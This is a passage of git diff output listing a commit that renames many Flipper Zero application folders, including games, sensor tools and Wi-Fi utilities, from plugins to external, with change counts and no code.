external}/unitemp/sensors/HDC1080.c | 0 .../{plugins => external}/unitemp/sensors/HDC1080.h | 0 .../{plugins => external}/unitemp/sensors/HTU21x.c | 0 .../{plugins => external}/unitemp/sensors/HTU21x.h | 0 .../{plugins => external}/unitemp/sensors/LM75.c | 0 .../{plugins => external}/unitemp/sensors/LM75.h | 0 .../unitemp/sensors/MAX31855.c | 0 .../unitemp/sensors/MAX31855.h | 0 .../{plugins => external}/unitemp/sensors/MAX6675.c | 0 .../{plugins => external}/unitemp/sensors/MAX6675.h | 0 .../{plugins => external}/unitemp/sensors/SHT30.c | 0 .../{plugins => external}/unitemp/sensors/SHT30.h | 0 .../unitemp/sensors/Sensors.xlsx | Bin .../{plugins => external}/unitemp/unitemp.c | 0 .../{plugins => external}/unitemp/unitemp.h | 0 .../unitemp/views/General_view.c | 0 .../unitemp/views/MainMenu_view.c | 0 .../unitemp/views/Popup_view.c | 0 .../unitemp/views/SensorActions_view.c | 0 .../unitemp/views/SensorEdit_view.c | 0 .../unitemp/views/SensorNameEdit_view.c | 0 .../unitemp/views/SensorsList_view.c | 0 .../unitemp/views/Settings_view.c | 0 .../unitemp/views/UnitempViews.h | 0 .../unitemp/views/Widgets_view.c | 0 .../usb_hid_autofire/.gitignore | 0 .../usb_hid_autofire/CHANGELOG.md | 0 .../{plugins => external}/usb_hid_autofire/LICENSE | 0 .../usb_hid_autofire/README.md | 0 .../usb_hid_autofire/application.fam | 0 .../usb_hid_autofire/screenshot.png | Bin .../{plugins => external}/usb_hid_autofire/tools.c | 0 .../{plugins => external}/usb_hid_autofire/tools.h | 0 .../usb_hid_autofire/usb_hid_autofire.c | 0 .../usb_hid_autofire/usb_hid_autofire.kra | Bin .../usb_hid_autofire/usb_hid_autofire.png | Bin .../usb_hid_autofire/usb_hid_autofire.svg | 0 .../usb_hid_autofire/version.h | 0 .../videopoker/application.fam | 0 .../{plugins => external}/videopoker/poker.c | 0 .../{plugins => external}/videopoker/pokerIcon.png | Bin .../{plugins => external}/wav_player/README.md | 0 .../wav_player/application.fam | 0 .../wav_player/images/music_10px.png | Bin .../{plugins => external}/wav_player/wav_10px.png | Bin .../{plugins => external}/wav_player/wav_parser.c | 0 .../{plugins => external}/wav_player/wav_parser.h | 0 .../{plugins => external}/wav_player/wav_player.c | 0 .../wav_player/wav_player_hal.c | 0 .../wav_player/wav_player_hal.h | 0 .../wav_player/wav_player_view.c | 0 .../wav_player/wav_player_view.h | 0 .../weather_station/application.fam | 2 +- .../weather_station/helpers/weather_station_event.h | 0 .../weather_station/helpers/weather_station_types.h | 0 .../weather_station/images/Humid_10x15.png | Bin .../weather_station/images/Humid_8x13.png | Bin .../weather_station/images/Lock_7x8.png | Bin .../weather_station/images/Pin_back_arrow_10x8.png | Bin .../weather_station/images/Quest_7x8.png | Bin .../weather_station/images/Scanning_123x52.png | Bin .../weather_station/images/Therm_7x16.png | Bin .../weather_station/images/Timer_11x11.png | Bin .../weather_station/images/Unlock_7x8.png | Bin .../weather_station/images/WarningDolphin_45x42.png | Bin .../weather_station/images/station_icon.png | Bin .../weather_station/protocols/acurite_592txr.c | 0 .../weather_station/protocols/acurite_592txr.h | 0 .../weather_station/protocols/acurite_606tx.c | 0 .../weather_station/protocols/acurite_606tx.h | 0 .../weather_station/protocols/acurite_609txc.c | 0 .../weather_station/protocols/acurite_609txc.h | 0 .../weather_station/protocols/ambient_weather.c | 0 .../weather_station/protocols/ambient_weather.h | 0 .../weather_station/protocols/auriol_hg0601a.c | 0 .../weather_station/protocols/auriol_hg0601a.h | 0 .../weather_station/protocols/gt_wt_02.c | 0 .../weather_station/protocols/gt_wt_02.h | 0 .../weather_station/protocols/gt_wt_03.c | 0 .../weather_station/protocols/gt_wt_03.h | 0 .../weather_station/protocols/infactory.c | 0 .../weather_station/protocols/infactory.h | 0 .../weather_station/protocols/lacrosse_tx.c | 0 .../weather_station/protocols/lacrosse_tx.h | 0 .../weather_station/protocols/lacrosse_tx141thbv2.c | 0 .../weather_station/protocols/lacrosse_tx141thbv2.h | 0 .../weather_station/protocols/nexus_th.c | 0 .../weather_station/protocols/nexus_th.h | 0 .../weather_station/protocols/oregon2.c | 0 .../weather_station/protocols/oregon2.h | 0 .../weather_station/protocols/oregon_v1.c | 0 .../weather_station/protocols/oregon_v1.h | 0 .../weather_station/protocols/protocol_items.c | 0 .../weather_station/protocols/protocol_items.h | 0 .../weather_station/protocols/thermopro_tx4.c | 0 .../weather_station/protocols/thermopro_tx4.h | 0 .../weather_station/protocols/tx_8300.c | 0 .../weather_station/protocols/tx_8300.h | 0 .../weather_station/protocols/ws_generic.c | 0 .../weather_station/protocols/ws_generic.h | 0 .../scenes/weather_station_receiver.c | 0 .../weather_station/scenes/weather_station_scene.c | 0 .../weather_station/scenes/weather_station_scene.h | 0 .../scenes/weather_station_scene_about.c | 0 .../scenes/weather_station_scene_config.h | 0 .../scenes/weather_station_scene_receiver_config.c | 0 .../scenes/weather_station_scene_receiver_info.c | 0 .../scenes/weather_station_scene_start.c | 0 .../views/weather_station_receiver.c | 0 .../views/weather_station_receiver.h | 0 .../views/weather_station_receiver_info.c | 0 .../views/weather_station_receiver_info.h | 0 .../weather_station/weather_station_10px.png | Bin .../weather_station/weather_station_app.c | 0 .../weather_station/weather_station_app_i.c | 0 .../weather_station/weather_station_app_i.h | 0 .../weather_station/weather_station_history.c | 0 .../weather_station/weather_station_history.h | 0 .../{plugins => external}/wifi_deauther/LICENSE | 0 .../{plugins => external}/wifi_deauther/README.md | 0 .../wifi_deauther/application.fam | 0 .../wifi_deauther/scenes/wifi_deauther_scene.c | 0 .../wifi_deauther/scenes/wifi_deauther_scene.h | 0 .../scenes/wifi_deauther_scene_config.h | 0 .../scenes/wifi_deauther_scene_console_output.c | 0 .../scenes/wifi_deauther_scene_start.c | 0 .../scenes/wifi_deauther_scene_text_input.c | 0 .../wifi_deauther/wifi_10px.png | Bin .../wifi_deauther/wifi_deauther_app.c | 0 .../wifi_deauther/wifi_deauther_app.h | 0 .../wifi_deauther/wifi_deauther_app_i.h | 0 .../wifi_deauther/wifi_deauther_custom_event.h | 0 .../wifi_deauther/wifi_deauther_uart.c | 0 .../wifi_deauther/wifi_deauther_uart.h | 0 .../wifi_marauder_companion/application.fam | 0 .../scenes/wifi_marauder_scene.c | 0 .../scenes/wifi_marauder_scene.h | 0 .../scenes/wifi_marauder_scene_config.h | 0 .../scenes/wifi_marauder_scene_console_output.c | 0 .../scenes/wifi_marauder_scene_start.c | 0 .../scenes/wifi_marauder_scene_text_input.c | 0 .../wifi_marauder_companion/wifi_10px.png | Bin .../wifi_marauder_companion/wifi_marauder_app.c | 0 .../wifi_marauder_companion/wifi_marauder_app.h | 0 .../wifi_marauder_companion/wifi_marauder_app_i.h | 0 .../wifi_marauder_custom_event.h | 0 .../wifi_marauder_companion/wifi_marauder_uart.c | 0 .../wifi_marauder_companion/wifi_marauder_uart.h | 0 .../wifi_scanner/FlipperZeroWiFiModuleDefines.h | 0 .../wifi_scanner/application.fam | 0 .../wifi_scanner/wifi_10px.png | Bin .../wifi_scanner/wifi_scanner.c | 0 .../{plugins => external}/wii_ec_anal/LICENSE | 0 .../{plugins => external}/wii_ec_anal/WiiEC.png | Bin .../wii_ec_anal/_image_tool/LICENSE | 0 .../wii_ec_anal/_image_tool/README | 0 .../wii_ec_anal/_image_tool/_convert.c | 0 .../wii_ec_anal/_image_tool/_convert.sh | 0 .../wii_ec_anal/_image_tool/_convert_images.c | 0 .../wii_ec_anal/_image_tool/_convert_images.h | 0 .../wii_ec_anal/_image_tool/_convert_test.c | 0 .../wii_ec_anal/_images/CLASSIC.png | Bin .../wii_ec_anal/_images/CLASSIC_N.png | Bin .../wii_ec_anal/_images/DEBUG.png | Bin .../wii_ec_anal/_images/DUMP.png | Bin .../wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf | Bin .../wii_ec_anal/_images/GIMP/RIP.xcf | Bin .../wii_ec_anal/_images/GIMP/Wiring.xcf | Bin .../wii_ec_anal/_images/GIMP/classic.xcf | Bin .../wii_ec_anal/_images/GIMP/csLogo.xcf | Bin .../wii_ec_anal/_images/GIMP/fonts.xcf | Bin .../wii_ec_anal/_images/GIMP/frame.xcf | Bin .../wii_ec_anal/_images/GIMP/port.xcf | Bin .../wii_ec_anal/_images/GIMP/social.xcf | Bin .../wii_ec_anal/_images/NUNCHUCK.png | Bin .../wii_ec_anal/_images/NUNCHUCK_acc.png | Bin .../wii_ec_anal/_images/NUNCHUCK_anal.png | Bin .../wii_ec_anal/_images/NUNCHUCK_cal.gif | Bin .../wii_ec_anal/_images/NUNCHUCK_cal.png | Bin .../wii_ec_anal/_images/Nunchucky.png | Bin .../wii_ec_anal/_images/RIP.png | Bin .../wii_ec_anal/_images/SPLASH.png | Bin .../wii_ec_anal/_images/WAIT.png | Bin .../wii_ec_anal/_images/WiiChuck.png | Bin .../wii_ec_anal/_images/Wiring.png | Bin .../wii_ec_anal/_images/plug.png | Bin .../wii_ec_anal/_images/social.png | Bin .../wii_ec_anal/application.fam | 0 .../{plugins => external}/wii_ec_anal/bc_logging.h | 0 .../{plugins => external}/wii_ec_anal/err.h | 0 .../{plugins => external}/wii_ec_anal/gfx/images.c | 0 .../{plugins => external}/wii_ec_anal/gfx/images.h | 0 .../wii_ec_anal/gfx/img_3x5_0.c | 0 .../wii_ec_anal/gfx/img_3x5_1.c | 0 .../wii_ec_anal/gfx/img_3x5_2.c | 0 .../wii_ec_anal/gfx/img_3x5_3.c | 0 .../wii_ec_anal/gfx/img_3x5_4.c | 0 .../wii_ec_anal/gfx/img_3x5_5.c | 0 .../wii_ec_anal/gfx/img_3x5_6.c | 0 .../wii_ec_anal/gfx/img_3x5_7.c | 0 .../wii_ec_anal/gfx/img_3x5_8.c | 0 .../wii_ec_anal/gfx/img_3x5_9.c | 0 .../wii_ec_anal/gfx/img_3x5_v.c | 0 .../wii_ec_anal/gfx/img_5x7_0.c | 0 .../wii_ec_anal/gfx/img_5x7_1.c | 0 .../wii_ec_anal/gfx/img_5x7_2.c | 0 .../wii_ec_anal/gfx/img_5x7_3.c | 0 .../wii_ec_anal/gfx/img_5x7_4.c | 0 .../wii_ec_anal/gfx/img_5x7_5.c | 0 .../wii_ec_anal/gfx/img_5x7_6.c | 0 .../wii_ec_anal/gfx/img_5x7_7.c | 0 .../wii_ec_anal/gfx/img_5x7_8.c | 0 .../wii_ec_anal/gfx/img_5x7_9.c | 0 .../wii_ec_anal/gfx/img_5x7_A.c | 0 .../wii_ec_anal/gfx/img_5x7_B.c | 0 .../wii_ec_anal/gfx/img_5x7_C.c | 0 .../wii_ec_anal/gfx/img_5x7_D.c | 0 .../wii_ec_anal/gfx/img_5x7_E.c | 0 .../wii_ec_anal/gfx/img_5x7_F.c | 0 .../wii_ec_anal/gfx/img_6x8_0.c | 0 .../wii_ec_anal/gfx/img_6x8_1.c | 0 .../wii_ec_anal/gfx/img_6x8_2.c | 0 .../wii_ec_anal/gfx/img_6x8_3.c | 0 .../wii_ec_anal/gfx/img_6x8_4.c | 0 .../wii_ec_anal/gfx/img_6x8_5.c | 0 .../wii_ec_anal/gfx/img_6x8_6.c | 0 .../wii_ec_anal/gfx/img_6x8_7.c | 0 .../wii_ec_anal/gfx/img_6x8_8.c | 0 .../wii_ec_anal/gfx/img_6x8_9.c | 0 .../wii_ec_anal/gfx/img_6x8_A.c | 0 .../wii_ec_anal/gfx/img_6x8_B.c | 0 .../wii_ec_anal/gfx/img_6x8_C.c | 0 .../wii_ec_anal/gfx/img_6x8_D.c | 0 .../wii_ec_anal/gfx/img_6x8_E.c | 0 .../wii_ec_anal/gfx/img_6x8_F.c | 0 .../wii_ec_anal/gfx/img_6x8_G.c | 0 .../wii_ec_anal/gfx/img_6x8_X.c | 0 .../wii_ec_anal/gfx/img_6x8_Y.c | 0 .../wii_ec_anal/gfx/img_6x8_Z.c | 0 .../wii_ec_anal/gfx/img_6x8_d_.c | 0 .../wii_ec_anal/gfx/img_6x8_n_.c | 0 .../wii_ec_anal/gfx/img_6x8_v_.c | 0 .../{plugins => external}/wii_ec_anal/gfx/img_RIP.c | 0 .../wii_ec_anal/gfx/img_cc_Cable.c | 0 .../wii_ec_anal/gfx/img_cc_Joy.c | 0 .../wii_ec_anal/gfx/img_cc_Main.c | 0 .../wii_ec_anal/gfx/img_cc_btn_A1.c | 0 .../wii_ec_anal/gfx/img_cc_btn_B1.c | 0 .../wii_ec_anal/gfx/img_cc_btn_X1.c | 0 .../wii_ec_anal/gfx/img_cc_btn_Y1.c | 0 .../wii_ec_anal/gfx/img_cc_pad_LR1.c | 0 .../wii_ec_anal/gfx/img_cc_pad_UD1.c | 0 .../wii_ec_anal/gfx/img_cc_trg_L1.c | 0 .../wii_ec_anal/gfx/img_cc_trg_L2.c | 0 .../wii_ec_anal/gfx/img_cc_trg_L3.c | 0 .../wii_ec_anal/gfx/img_cc_trg_L4.c | 0 .../wii_ec_anal/gfx/img_cc_trg_R1.c | 0 .../wii_ec_anal/gfx/img_cc_trg_R2.c | 0 .../wii_ec_anal/gfx/img_cc_trg_R3.c | 0 .../wii_ec_anal/gfx/img_cc_trg_R4.c | 0 .../wii_ec_anal/gfx/img_csLogo_FULL.c | 0 .../wii_ec_anal/gfx/img_csLogo_Small.c | 0 .../wii_ec_anal/gfx/img_ecp_SCL.c | 0 .../wii_ec_anal/gfx/img_ecp_SDA.c | 0 .../wii_ec_anal/gfx/img_ecp_port.c | 0 .../wii_ec_anal/gfx/img_key_Back.c | 0 .../wii_ec_anal/gfx/img_key_D.c | 0 .../wii_ec_anal/gfx/img_key_L.c | 0 .../wii_ec_anal/gfx/img_key_OK.c | 0 .../wii_ec_anal/gfx/img_key_OKi.c | 0 .../wii_ec_anal/gfx/img_key_R.c | 0 .../wii_ec_anal/gfx/img_key_U.c | 0 .../wii_ec_anal/gfx/img_key_Ui.c | 0 .../wii_ec_anal/i2c_workaround.h | 0 .../{plugins => external}/wii_ec_anal/info.sh | 0 .../{plugins => external}/wii_ec_anal/wii_anal.c | 0 .../{plugins => external}/wii_ec_anal/wii_anal.h | 0 .../{plugins => external}/wii_ec_anal/wii_anal_ec.c | 0 .../{plugins => external}/wii_ec_anal/wii_anal_ec.h | 0 .../wii_ec_anal/wii_anal_keys.c | 0 .../wii_ec_anal/wii_anal_keys.h | 0 .../wii_ec_anal/wii_anal_lcd.c | 0 .../wii_ec_anal/wii_anal_lcd.h | 0 .../wii_ec_anal/wii_anal_ver.h | 0 .../{plugins => external}/wii_ec_anal/wii_ec.c | 0 .../{plugins => external}/wii_ec_anal/wii_ec.h | 0 .../wii_ec_anal/wii_ec_classic.c | 0 .../wii_ec_anal/wii_ec_classic.h | 0 .../wii_ec_anal/wii_ec_macros.h | 0 .../wii_ec_anal/wii_ec_nunchuck.c | 0 .../wii_ec_anal/wii_ec_nunchuck.h | 0 .../wii_ec_anal/wii_ec_udraw.c | 0 .../wii_ec_anal/wii_ec_udraw.h | 0 .../{plugins => external}/wii_ec_anal/wii_i2c.c | 0 .../{plugins => external}/wii_ec_anal/wii_i2c.h | 0 applications/{plugins => external}/yatzee/LICENSE | 0 applications/{plugins => external}/yatzee/README.md | 0 .../{plugins => external}/yatzee/application.fam | 0 .../{plugins => external}/yatzee/images/die_1.png | Bin .../{plugins => external}/yatzee/images/die_2.png | Bin .../{plugins => external}/yatzee/images/die_3.png | Bin .../{plugins => external}/yatzee/images/die_4.png | Bin .../{plugins => external}/yatzee/images/die_5.png | Bin .../{plugins => external}/yatzee/images/die_6.png | Bin .../yatzee/images/yatzee_icon_10px.png | Bin applications/{plugins => external}/yatzee/yatzee.c | 0 .../{plugins => external}/zombiez/application.fam | 0 .../{plugins => external}/zombiez/zombie_10px.png | Bin .../{plugins => external}/zombiez/zombiez.c | 0 .../{plugins => external}/zombiez/zombiez.h | 0 1706 files changed, 15 insertions(+), 15 deletions(-) rename applications/{plugins => external}/airmouse/LICENSE (100%) rename applications/{plugins => external}/airmouse/README.md (100%) rename applications/{plugins => external}/airmouse/air_mouse.c (100%) rename applications/{plugins => external}/airmouse/air_mouse.h (100%) rename applications/{plugins => external}/airmouse/application.fam (100%) rename applications/{plugins => external}/airmouse/mouse_10px.png (100%) rename applications/{plugins => external}/airmouse/tracking/calibration_data.cc (100%) rename applications/{plugins => external}/airmouse/tracking/calibration_data.h (100%) rename applications/{plugins => external}/airmouse/tracking/imu/bmi160.c (100%) rename applications/{plugins => external}/airmouse/tracking/imu/bmi160.h (100%) rename applications/{plugins => external}/airmouse/tracking/imu/bmi160_defs.h (100%) rename applications/{plugins => external}/airmouse/tracking/imu/imu.c (100%) rename applications/{plugins => external}/airmouse/tracking/imu/imu.h (100%) rename applications/{plugins => external}/airmouse/tracking/imu/imu_bmi160.c (100%) rename applications/{plugins => external}/airmouse/tracking/imu/imu_lsm6ds3trc.c (100%) rename applications/{plugins => external}/airmouse/tracking/imu/lsm6ds3tr_c_reg.c (100%) rename applications/{plugins => external}/airmouse/tracking/imu/lsm6ds3tr_c_reg.h (100%) rename applications/{plugins => external}/airmouse/tracking/main_loop.cc (100%) rename applications/{plugins => external}/airmouse/tracking/main_loop.h (100%) rename applications/{plugins => external}/airmouse/tracking/orientation_tracker.cc (100%) rename applications/{plugins => external}/airmouse/tracking/orientation_tracker.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/accelerometer_data.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/gyroscope_bias_estimator.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/gyroscope_bias_estimator.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/gyroscope_data.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/lowpass_filter.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/lowpass_filter.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/mean_filter.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/mean_filter.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/median_filter.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/median_filter.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/pose_prediction.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/pose_prediction.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/pose_state.h (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/sensor_fusion_ekf.cc (100%) rename applications/{plugins => external}/airmouse/tracking/sensors/sensor_fusion_ekf.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/logging.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrix_3x3.cc (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrix_3x3.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrix_4x4.cc (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrix_4x4.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrixutils.cc (100%) rename applications/{plugins => external}/airmouse/tracking/util/matrixutils.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/rotation.cc (100%) rename applications/{plugins => external}/airmouse/tracking/util/rotation.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/vector.h (100%) rename applications/{plugins => external}/airmouse/tracking/util/vectorutils.cc (100%) rename applications/{plugins => external}/airmouse/tracking/util/vectorutils.h (100%) rename applications/{plugins => external}/airmouse/views/bt_mouse.c (100%) rename applications/{plugins => external}/airmouse/views/bt_mouse.h (100%) rename applications/{plugins => external}/airmouse/views/calibration.c (100%) rename applications/{plugins => external}/airmouse/views/calibration.h (100%) rename applications/{plugins => external}/airmouse/views/usb_mouse.c (100%) rename applications/{plugins => external}/airmouse/views/usb_mouse.h (100%) rename applications/{plugins => external}/application.fam (100%) rename applications/{plugins => external}/arkanoid/application.fam (100%) rename applications/{plugins => external}/arkanoid/arkanoid_10px.png (100%) rename applications/{plugins => external}/arkanoid/arkanoid_game.c (100%) rename applications/{plugins => external}/asteroids/LICENSE (100%) rename applications/{plugins => external}/asteroids/app.c (100%) rename applications/{plugins => external}/asteroids/appicon.png (100%) rename applications/{plugins => external}/asteroids/application.fam (100%) rename applications/{plugins => external}/asteroids/assets/ammo_10x10.png (100%) rename applications/{plugins => external}/asteroids/assets/ammo_11x11.png (100%) rename applications/{plugins => external}/asteroids/assets/firepower_12x12.png (100%) rename applications/{plugins => external}/asteroids/assets/firepower_9x10.png (100%) rename applications/{plugins => external}/asteroids/assets/firepower_shifted_9x10.png (100%) rename applications/{plugins => external}/asteroids/assets/heart_10x10.png (100%) rename applications/{plugins => external}/asteroids/assets/heart_12x12.png (100%) rename applications/{plugins => external}/asteroids/assets/nuke_10x10.png (100%) rename applications/{plugins => external}/asteroids/assets/shield-frame.png (100%) rename applications/{plugins => external}/asteroids/assets/shield_clean.png (100%) rename applications/{plugins => external}/asteroids/assets/split_shield_10x10.png (100%) rename applications/{plugins => external}/barcode_gen/LICENSE (100%) rename applications/{plugins => external}/barcode_gen/application.fam (100%) rename applications/{plugins => external}/barcode_gen/barcode_app.c (100%) rename applications/{plugins => external}/barcode_gen/barcode_app.h (100%) rename applications/{plugins => external}/barcode_gen/barcode_utils.c (100%) rename applications/{plugins => external}/barcode_gen/barcode_utils.h (100%) rename applications/{plugins => external}/barcode_gen/barcode_validator.c (100%) rename applications/{plugins => external}/barcode_gen/barcode_validator.h (100%) rename applications/{plugins => external}/barcode_gen/encodings.c (100%) rename applications/{plugins => external}/barcode_gen/encodings.h (100%) rename applications/{plugins => external}/barcode_gen/images/barcode_10.png (100%) rename applications/{plugins => external}/barcode_gen/views/barcode_view.c (100%) rename applications/{plugins => external}/barcode_gen/views/barcode_view.h (100%) rename applications/{plugins => external}/barcode_gen/views/create_view.c (100%) rename applications/{plugins => external}/barcode_gen/views/create_view.h (100%) rename applications/{plugins => external}/barcode_gen/views/message_view.c (100%) rename applications/{plugins => external}/barcode_gen/views/message_view.h (100%) rename applications/{plugins => external}/blackjack/application.fam (100%) rename applications/{plugins => external}/blackjack/assets/blackjack.png (100%) rename applications/{plugins => external}/blackjack/assets/card_graphics.png (100%) rename applications/{plugins => external}/blackjack/assets/endscreen.png (100%) rename applications/{plugins => external}/blackjack/blackjack.c (100%) rename applications/{plugins => external}/blackjack/blackjack_10px.png (100%) rename applications/{plugins => external}/blackjack/common/card.c (100%) rename applications/{plugins => external}/blackjack/common/card.h (100%) rename applications/{plugins => external}/blackjack/common/dml.c (100%) rename applications/{plugins => external}/blackjack/common/dml.h (100%) rename applications/{plugins => external}/blackjack/common/menu.c (100%) rename applications/{plugins => external}/blackjack/common/menu.h (100%) rename applications/{plugins => external}/blackjack/common/queue.c (100%) rename applications/{plugins => external}/blackjack/common/queue.h (100%) rename applications/{plugins => external}/blackjack/common/ui.c (100%) rename applications/{plugins => external}/blackjack/common/ui.h (100%) rename applications/{plugins => external}/blackjack/defines.h (100%) rename applications/{plugins => external}/blackjack/ui.c (100%) rename applications/{plugins => external}/blackjack/ui.h (100%) rename applications/{plugins => external}/blackjack/util.c (100%) rename applications/{plugins => external}/blackjack/util.h (100%) rename applications/{plugins => external}/bpmtapper/LICENSE (100%) rename applications/{plugins => external}/bpmtapper/README.md (100%) rename applications/{plugins => external}/bpmtapper/application.fam (100%) rename applications/{plugins => external}/bpmtapper/bpm.c (100%) rename applications/{plugins => external}/bpmtapper/bpm_10px.png (100%) rename applications/{plugins => external}/bpmtapper/icons/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/bpmtapper/images/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/bpmtapper/img/screenshot.png (100%) rename applications/{plugins => external}/brainfuck/application.fam (100%) rename applications/{plugins => external}/brainfuck/bfico.png (100%) rename applications/{plugins => external}/brainfuck/brainfuck.c (100%) rename applications/{plugins => external}/brainfuck/brainfuck.h (100%) rename applications/{plugins => external}/brainfuck/brainfuck_i.h (100%) rename applications/{plugins => external}/brainfuck/icons/ButtonRightSmall_3x5.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyBackspaceSelected_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyBackspace_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyInputSelected_30x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyInput_30x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyRunSelected_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeyRun_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeySaveSelected_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/KeySave_24x11.png (100%) rename applications/{plugins => external}/brainfuck/icons/bfico.png (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene.h (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_config.h (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_dev.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_exec.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_file_create.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_file_select.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_set_input.c (100%) rename applications/{plugins => external}/brainfuck/scenes/brainfuck_scene_start.c (100%) rename applications/{plugins => external}/brainfuck/views/bf_dev_env.c (100%) rename applications/{plugins => external}/brainfuck/views/bf_dev_env.h (100%) rename applications/{plugins => external}/brainfuck/worker.c (100%) rename applications/{plugins => external}/brainfuck/worker.h (100%) rename applications/{plugins => external}/caesarcipher/LICENSE (100%) rename applications/{plugins => external}/caesarcipher/README.md (100%) rename applications/{plugins => external}/caesarcipher/application.fam (88%) rename applications/{plugins => external}/caesarcipher/caesar_cipher.c (100%) rename applications/{plugins => external}/caesarcipher/caesar_cipher_icon.png (100%) rename applications/{plugins => external}/caesarcipher/img/1.png (100%) rename applications/{plugins => external}/caesarcipher/img/2.png (100%) rename applications/{plugins => external}/calculator/application.fam (100%) rename applications/{plugins => external}/calculator/calc.png (100%) rename applications/{plugins => external}/calculator/calcIcon.png (100%) rename applications/{plugins => external}/calculator/calculator.c (100%) rename applications/{plugins => external}/calculator/tinyexpr.c (100%) rename applications/{plugins => external}/calculator/tinyexpr.h (100%) rename applications/{plugins => external}/cli_bridge/.gitignore (100%) rename applications/{plugins => external}/cli_bridge/LICENSE (100%) rename applications/{plugins => external}/cli_bridge/README.md (100%) rename applications/{plugins => external}/cli_bridge/application.fam (100%) rename applications/{plugins => external}/cli_bridge/cli_control.c (100%) rename applications/{plugins => external}/cli_bridge/cli_control.h (100%) rename applications/{plugins => external}/cli_bridge/cligui.png (100%) rename applications/{plugins => external}/cli_bridge/cligui_main.c (100%) rename applications/{plugins => external}/cli_bridge/cligui_main_i.h (100%) rename applications/{plugins => external}/cli_bridge/console_output.c (100%) rename applications/{plugins => external}/cli_bridge/console_output.h (100%) rename applications/{plugins => external}/cli_bridge/internal_defs.h (100%) rename applications/{plugins => external}/cli_bridge/text_input.c (100%) rename applications/{plugins => external}/cli_bridge/text_input.h (100%) rename applications/{plugins => external}/cntdown_timer/README.md (100%) rename applications/{plugins => external}/cntdown_timer/app.c (100%) rename applications/{plugins => external}/cntdown_timer/app.h (100%) rename applications/{plugins => external}/cntdown_timer/application.fam (100%) rename applications/{plugins => external}/cntdown_timer/cntdown_timer.png (100%) rename applications/{plugins => external}/cntdown_timer/utils/utils.c (100%) rename applications/{plugins => external}/cntdown_timer/utils/utils.h (100%) rename applications/{plugins => external}/cntdown_timer/views/countdown_view.c (100%) rename applications/{plugins => external}/cntdown_timer/views/countdown_view.h (100%) rename applications/{plugins => external}/counter/README.md (100%) rename applications/{plugins => external}/counter/application.fam (84%) rename applications/{plugins => external}/counter/counter.c (100%) rename applications/{plugins => external}/counter/icons/counter_icon.png (100%) rename applications/{plugins => external}/dap_link/README.md (100%) rename applications/{plugins => external}/dap_link/application.fam (92%) rename applications/{plugins => external}/dap_link/dap_config.h (100%) rename applications/{plugins => external}/dap_link/dap_link.c (100%) rename applications/{plugins => external}/dap_link/dap_link.h (100%) rename applications/{plugins => external}/dap_link/dap_link.png (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui.c (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui.h (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui_custom_event.h (100%) rename applications/{plugins => external}/dap_link/gui/dap_gui_i.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/config/dap_scene_config.h (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_about.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_config.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_help.c (100%) rename applications/{plugins => external}/dap_link/gui/scenes/dap_scene_main.c (100%) rename applications/{plugins => external}/dap_link/gui/views/dap_main_view.c (100%) rename applications/{plugins => external}/dap_link/gui/views/dap_main_view.h (100%) rename applications/{plugins => external}/dap_link/icons/ActiveConnection_50x64.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowDownEmpty_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowDownFilled_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowUpEmpty_12x18.png (100%) rename applications/{plugins => external}/dap_link/icons/ArrowUpFilled_12x18.png (100%) rename applications/{plugins => external}/dap_link/usb/dap_v2_usb.c (100%) rename applications/{plugins => external}/dap_link/usb/dap_v2_usb.h (100%) rename applications/{plugins => 